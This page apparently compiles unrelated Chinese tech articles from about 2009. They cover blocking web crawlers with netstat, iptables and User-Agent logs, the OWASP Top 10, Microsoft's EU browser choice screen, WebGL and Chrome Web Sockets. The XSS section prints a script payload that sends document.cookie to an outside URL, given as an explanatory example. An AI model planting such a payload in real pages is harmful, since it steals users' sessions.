因为搜索引擎的流行,网络爬虫已经成了很普及网络技术,除了专门做搜索的Google,Yahoo,微软,百度以外,几乎每个大型门户网站都有自己的搜索引擎,大大小小叫得出来名字得就几十种,还有各种不知名的几千几万种,对于一个内容型驱动的网站来说,受到网络爬虫的光顾是不可避免的。
一些智能的搜索引擎爬虫的爬取频率比较合理,对网站资源消耗比较少,但是很多糟糕的网络爬虫,对网页爬取能力很差,经常并发几十上百个请求循环重复抓取,这种爬虫对中小型网站往往是毁灭性打击,特别是一些缺乏爬虫编写经验的程序员写出来的爬虫破坏力极强。曾经有一次我在JavaEye的日志里面发现一个User-Agent是Java的爬虫一天之内爬取了将近100万次动态请求。这是一个用JDK标准类库编写的简单爬取网页程序,由于JavaEye网站内部链接构成了回环导致程序陷入了死循环。对于JavaEye这种百万PV级别的网站来说,这种爬虫造成的访问压力会非常大,会导致网站访问速度缓慢,甚至无法访问。
此外,相当数量的的网页爬虫目的是盗取目标网站的内容。比方说JavaEye网站就曾经被两个竞争对手网站爬取论坛帖子,然后在自己的论坛里面用机器人发帖,因此这种爬虫不仅仅影响网站访问速度,而且侵犯了网站的版权。
对于一个原创内容丰富,URL结构合理易于爬取的网站来说,简直就是各种爬虫的盘中大餐,很多网站的访问流量构成当中,爬虫带来的流量要远远超过真实用户访问流量,甚至爬虫流量要高出真实流量一个数量级。像JavaEye网站虽然设置了相当严格的反爬虫策略,但是网站处理的动态请求数量仍然是真实用户访问流量的2倍。可以肯定的说,当今互联网的网络流量至少有2/3的流量爬虫带来的。因此反爬虫是一个值得网站长期探索和解决的问题。
一、手工识别和拒绝爬虫的访问
有相当多的爬虫对网站会造成非常高的负载,因此识别爬虫的来源IP是很容易的事情。最简单的办法就是用netstat检查80端口的连接:
C代码
netstat -nt | grep youhostip:80 | awk ‘{print $5}’ | awk -F”:” ‘{print $1}’| sort | uniq -c | sort -r -n
这行shell可以按照80端口连接数量对来源IP进行排序,这样可以直观的判断出来网页爬虫。一般来说爬虫的并发连接非常高。
如果使用lighttpd做Web Server,那么就更简单了。lighttpd的mod_status提供了非常直观的并发连接的信息,包括每个连接的来源IP,访问的URL,连接状态和连接时间等信息,只要检查那些处于handle-request状态的高并发IP就可以很快确定爬虫的来源IP了。
拒绝爬虫请求既可以通过内核防火墙来拒绝,也可以在web server拒绝,比方说用iptables拒绝:
C代码
iptables -A INPUT -i eth0 -j DROP -p tcp –dport 80 -s 84.80.46.0/24
直接封锁爬虫所在的C网段地址。这是因为一般爬虫都是运行在托管机房里面,可能在一个C段里面的多台服务器上面都有爬虫,而这个C段不可能是用户宽带上网,封锁C段可以很大程度上解决问题。
有些人提出一种脑残的观点,说我要惩罚这些爬虫。我专门在网页里面设计动态循环链接页面,让爬虫掉进陷阱,死循环爬不出来,其实根本用不着设置陷阱,弱智爬虫对正常网页自己就爬不出来,这样做多此一举不说,而且会让真正的搜索引擎降低你的网页排名。而且运行一个爬虫根本不消耗什么机器资源,相反,真正宝贵的是你的服务器CPU资源和服务器带宽,简单的拒绝掉爬虫的请求是反爬虫最有效的策略。
二、通过识别爬虫的User-Agent信息来拒绝爬虫
有很多爬虫并不会以很高的并发连接爬取,一般不容易暴露自己;有些爬虫的来源IP分布很广,很难简单的通过封锁IP段地址来解决问题;另外还有很多各种各样的小爬虫,它们在尝试Google以外创新的搜索方式,每个爬虫每天爬取几万的网页,几十个爬虫加起来每天就能消耗掉上百万动态请求的资源,由于每个小爬虫单独的爬取量都很低,所以你很难把它从每天海量的访问IP地址当中把它准确的挖出来。
这种情况下我们可以通过爬虫的User-Agent信息来识别。每个爬虫在爬取网页的时候,会声明自己的User-Agent信息,因此我们就可以通过记录和分析User-Agent信息来挖掘和封锁爬虫。我们需要记录每个请求的User-Agent信息,对于Rails来说我们可以简单的在app/controllers/application.rb里面添加一个全局的before_filter,来记录每个请求的User-Agent信息:
Ruby代码
logger.info “HTTP_USER_AGENT #{request.env["HTTP_USER_AGENT"]}”
然后统计每天的production.log,抽取User-Agent信息,找出访问量最大的那些User-Agent。要注意的是我们只关注那些爬虫的User-Agent信息,而不是真正浏览器User-Agent,所以还要排除掉浏览器User-Agent,要做到这一点仅仅需要一行shell:
Ruby代码
grep HTTP_USER_AGENT production.log | grep -v -E ‘MSIE|Firefox|Chrome|Opera|Safari|Gecko’ | sort | uniq -c | sort -r -n | [...]
owasp.org列出十大Web应用漏洞清单:
1, Cross Site Scripting(XSS)
2, Injection Flaws
3, Malicious File Execution
4, Insecure Direct Object Reference
5, Cross Site Request Forgery(CSRF)
6, Information Leakage and Improper Error Handling
7, Broken Authentication and Session Management
8, Insecure Cryptographic Storage
9, Insecure Communications
10, Failure to Restrict URL Access
XSS排在第一位,MySpace著名的漏洞案就是由于受到XSS攻击,原理很简单,在用户提交的数据中包含JavaScript脚本
例如在修改用户Profile时用户在一个输入框内输入如下内容:
Java代码
<script>
$.ajax(“some url” + document.cookie)
</script>
这样当其他人(如管理员)查看该用户的Profile时,上面这段JavaScript执行,然后将管理员的cookie发送给某个url(可以是一个收集cookie的站点)
这样,管理员的登录认证等信息就暴露了!
而Rails提供了TextHelper#sanitize方法来预防XSS攻击
12月17日消息,微软“浏览器绑定案”今日尘埃落定,微软最终向欧盟妥协,在欧洲境内,微软将在包括Windows XP、Windows Vista以及Windows 7在内的产品中提供一个浏览器选择屏,允许消费者自行选择安装首选浏览器。这是一个令人鼓舞的消息。对于欧洲网民来说,他们将拥有自行选择安装首选浏览器;对于浏览器厂商来说,将有助于推动产品创新;对与微软来说,为互联网产品提供一个公平竞争的环境也为微软赢得了公平竞争的声誉。
根据协议,微软将提供12种浏览器供用户选择安装首选项。
搜狐IT经过多方打探后独家获悉,这12种浏览器分别是:
微软IE浏览器:简称IE或MSIE,是微软公司推出的一款网页浏览器。Internet Explorer是使用最广泛的网页浏览器,是微软的新版本Windows操作系统的一个组成部分。在旧版的操作系统上,它是独立、免费的。从Windows 95 OSR2开始,它被捆绑作为所有新版本的Windows操作系统中的默认浏览器。
Firefox火狐浏览器:中文名为火狐,是由Mozilla基金会(谋智网络)与开源团体共同开发的网页浏览器。Firefox是从Mozilla Application Suite派生出来的网页浏览器,使用开放源码的网页排版引擎Gecko,Gecko 能够让浏览器尽可能按标准来显示网页内容。
苹果Safari浏览器:苹果电脑最新作业系统Mac OS X中新的浏览器,用来取代之前的Internet Explorer for Mac。Safari使用了KDE的KHTML作为浏览器的运算核心。目前该浏览器已支持Windows平台。
谷歌Chrome浏览器:由Google公司开发的网页浏览器。采用BSD许可证授权并开放源代码,开源计划名为Chromium.本软件的代码是基于其他开放源代码软件所撰写,包括WebKit和Mozilla,目标是提升稳定性、速度和安全性,并创造出简单且有效的使用者界面。软件的名称是来自于又称作“Chrome”的网络浏览器图形使用者界面(GUI)。
Opera浏览器:一款挪威Opera Software ASA公司制作的支持多页面标签式浏览的网络浏览器,由于新版本的Opera增加了大量网络功能,官方将Opera定义为一个网络套件。2009年9月1日,官方发布的个人电脑用的最新版本为Opera 10。
AOL Browser:AOL Browser是AOL(美国在线)公司目前处于测试阶段的新网页浏览器,AOL Browser有多窗口浏览、广告拦截等常见浏览器都具有的功能。鼠标移到标签上时会显示该网页的缩略图,并自带类似于Google Desktop Search的Desktop Search。提供下载版本为在线安装版本。
Maxthon傲游:傲游浏览器是一款基于IE内核的、多功能、个性化多标签浏览器。它允许在同一窗口内打开任意多个页面, 减少浏览器对系统资源的占用率, 提高网上冲浪的效率。主要特点:多标签浏览界面;鼠标手势;超级拖拽;隐私保护;广告猎手;RSS阅读器;IE 扩展插件支持;外部工具栏;自定义皮肤。
K-meleon浏览器:K-Meleon是一个可自定义的,轻型的用于WIN32(WINDOWS)平台的网络浏览器,基于Gecko设计引擎(Mozilla的引擎)。K-Meleon是在遵循GNU公共许可证下的开放源代码的自由软件。
flock浏览器:一款基于Firefox的新浏览器Flock登场亮相,声称可以带给用户Web 2.0的全新体验。Flock集成了RSS、Blog、书签、图片共享等下一代网络技术,拥有多项目前浏览器所不具备的功能。Flock比较重要的一个特性是拥有一个Blog编辑器,可与WordPress、Movable Type、Typepad、Blogger等协同工作,同时可以通过简单的拖拽动作在Blog内共享图片,甚至还配备了一个可存储网页内容的剪贴簿,方便在Blog内使用。
Avant浏览器:Avant浏览器友好的用户界面为你的网络冲浪带来全新的效率和透明性。软件版本的不断升级使产品的可靠性稳步提高。Avant 浏览器是免费的吗? 对了! 100%免费! 不收取任何费用。 没有任何限制。 没有Adware广告病毒。 没有间谍软件。
Sleipnir浏览器:位于日本,是Fenrir所开发、释出的分页标签网页浏览器。
Slim浏览器:一个基于标签页面风格的多站点浏览器,包含诸多强大的功能,如可恢复的弹出广告杀手,支持皮肤的窗口框架,自动表单填写器,站点群组,快速搜索,自动登录,隐藏站点,内建命令集和教本支持,在线翻译,抑制教本错误对话框,黑白名单过滤,网址别名等等。
来源:http://www.cnbeta.com/articles/100250.htm
新闻来源:CNET
3D图像最先普及在电玩游戏中,然后进入操作系统,而最新发展,是网络浏览器也朝向3D迈出重大的一步。
管理OpenGL图像界面的Khronos Group宣布,该组织与Mozilla合作将硬件加速3D图像带入网络的工作,已经拟定出一份标准草案。这项标准称为WebGL,能让使用JavaScript语言的程序设计师,放心利用影音卡处理3D图像。
该组织现在征求网络开发者和其他有关人士提供意见,以利完成这项标准。Mozilla的标准拥护者兼WebGL工作小组主席Arun Ranganathan说:我期望能在2010年初,第一季之内,达成一个非临时性、不仅是草案的规格。
微软Internet Explorer仍旧是最多人使用的浏览器,但其他四个主要竞争者—
Mozilla Firefox、苹果Safari、Google Chrome和Opera Software的Opera,都卯尽全力(有时甚至类似非正式的联盟)用最新的技术提升网络的呈现。
这四家浏览器商一致支持WebGL。Firefox、Safari都有开发者测试版,而Chrome甚至已内建这项标准。微软拒绝评论,仅强调该公司对标准的普遍支持。
在网络构建3D支持,有利于网络应用软件的使用者界面,包括游戏。民众对网络游戏的热爱,可作为厂商升级到最新技术的一大诱因。但Ranganathan表示,往后的发展仍不确定。浏览器的先进2D界面Canvas的到来,曾引领图像工作的蓬勃发展,而他预期3D技术能创造类似的改变。
但先别过度期待3D网络能取代原生软件的效果。首先,即使有3D图像加速,网络软件还有许多其他处理和使用者界面的限制。其次,即使 WebGL的标准化顺利完成,还必须内建到浏览器内,再由民众升级到新版本,而程序设计师也需要学习如何支持该技术。
WebGL不是唯一进行中的3D网络技术。Google自己的O3D计划,目前只是一个浏览器附加程序,但该公司也准备将此内建到Chrome。但O3D是一个更高层级的界面,并非WebGL的直接竞争者。细节具有高度技术性,但相对于WebGL的立即模式界面,O3D采用一种保留模式方法。
而当然,10年前还有所谓的VRML(虚拟时境模式建构语言),属于一种文件格式而非界面。但VRML的后继者X3D,对WebGL确实有用,目前也有一个X3dom计划,进行这方面的工作。
从Google Chrome的developer channel释放的4.0.249.0版本开始,Web Sockets已经可用并默认开启了。Web Sockets是“网络的TCP”,它是Web Applications 1.0中下一代网络应用程序双向通信技术标准的一部分。正如在WebKit 和 Chromium的设计文档中所描述的那样,我们已经实现了这一功能。
Web Sockets API使Web应用程序使用服务器端进程直截了当的处理双向通信。为达到此目的,现在开 发者一般使用的是XMLHttpRequest(XHR),但是XHR使得开发与服务器进行来回通信的程序过于复杂。XHR基于异步的HTTP,而且因为 你需要使用像长挂(long-hanging)GET来从服务器发送数据到客户端浏览器,简单的任务因此变得复杂了。
与XMLHttpRequest截然 不同的的是,Web Sockets在你的浏览器里面提供一个真正的双向沟通渠道,一旦得到Web Socket连接,你就能通过直接调用send()方法从浏览器发送数据到服务器,并且使用onmessage的这个事件处理句柄接收数据。
代码示例:
if (“WebSocket” in window) {
var ws = new WebSocket(“ws://example.com/service”);
ws.onopen = function() {
// Web Socket is connected. You can send data by send() method.
ws.send(“message to send”); ….
};
ws.onmessage = function (evt) { var received_msg = evt.data; … };
ws.onclose = function() { // [...]